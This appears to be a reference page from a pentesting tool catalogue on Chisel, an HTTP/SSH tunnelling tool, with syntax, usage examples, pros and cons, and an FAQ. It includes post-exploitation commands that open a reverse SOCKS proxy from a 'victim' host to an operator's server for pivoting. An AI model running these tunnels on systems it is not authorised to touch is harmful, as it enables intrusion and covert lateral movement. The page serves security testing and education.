Chisel
Fast TCP/UDP tunnel over HTTP/SSH.
KaliParrotmedium
pkg: chisel
Chisel creates encrypted tunnels (incl. SOCKS) over HTTP, ideal for pivoting and port-forwarding through restrictive networks.
Syntax
chisel server -p {port} --reverse | chisel client {server} R:socks
Example
chisel client 1.2.3.4:8080 R:1080:socks
From the victim, opens a reverse SOCKS proxy on the operator’s 1080 for pivoting.
Options & flags
What each switch does. Toggle them in the builder below to assemble a command.
Command builder
Tick options (and fill any values) to build a ready-to-copy command.
chisel
Usage examples
chisel server -p 8080 --reverse
Operator side: listen for reverse tunnels.
chisel client 1.2.3.4:8080 R:1080:socks
Victim side: open a reverse SOCKS proxy.
Advantages
- Single static binary
- SOCKS + port forwarding
- Tunnels through HTTP firewalls
Disadvantages
- Needs binary on both ends
- Another moving part to manage
- Detectable as tunnelling
Tags
#pivoting#tunnel#socks
Official docs: Chisel ↗
Related commands
Frequently asked questions
What is Chisel used for?
Chisel creates encrypted tunnels (incl. SOCKS) over HTTP, ideal for pivoting and port-forwarding through restrictive networks.
What is an example Chisel command?
A common example is: chisel client 1.2.3.4:8080 R:1080:socks — From the victim, opens a reverse SOCKS proxy on the operator’s 1080 for pivoting.
Is Chisel part of Kali Linux?
Yes. Chisel ships with Kali Linux (and Parrot OS). If missing, install it with: sudo apt install chisel.
What category of security tool is Chisel?
Chisel is a Post-Exploitation tool with a medium-risk profile when run against a live target.
Try recon tools live
Run real scans against a domain you control, stage by stage.